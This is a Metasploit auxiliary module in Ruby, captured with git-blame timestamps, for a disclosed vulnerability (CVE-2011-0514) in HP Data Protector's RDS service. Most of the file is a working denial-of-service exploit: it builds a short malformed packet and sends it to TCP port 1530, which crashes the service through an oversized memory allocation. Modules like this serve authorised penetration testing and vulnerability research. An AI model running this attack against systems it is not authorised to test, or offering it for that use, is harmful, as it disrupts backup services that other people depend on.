2011-04-08 07:56:48 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2011-04-08 07:56:48 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2011-10-15 22:20:04 +00:00
|
|
|
Rank = ManualRanking
|
2011-04-08 07:56:48 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Auxiliary::Dos
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'HP Data Protector Manager RDS DOS',
|
|
|
|
'Description' => %q{
|
|
|
|
This module causes a remote DOS on HP Data Protector's RDS service. By sending
|
|
|
|
a malformed packet to port 1530, _rm32.dll causes RDS to crash due to an enormous
|
|
|
|
size for malloc().
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Roi Mallo <rmallof[at]gmail.com>', #initial discovery, poc
|
|
|
|
'sinn3r', #msf
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2011-0514' ],
|
|
|
|
[ 'OSVDB', '70617' ],
|
2012-10-23 19:02:09 +00:00
|
|
|
[ 'EDB', '15940' ],
|
2011-04-08 07:56:48 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jan 8 2011' ))
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
Opt::RPORT(1530),
|
|
|
|
])
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
buf = "\x23\x8c\x29\xb6" #Header
|
|
|
|
buf << "\x64\x00\x00\x00" #Packet size
|
|
|
|
buf << "\x41"*4 #Data
|
|
|
|
|
|
|
|
connect
|
|
|
|
print_status("Sending malformed packet...")
|
|
|
|
sock.put(buf)
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
end
|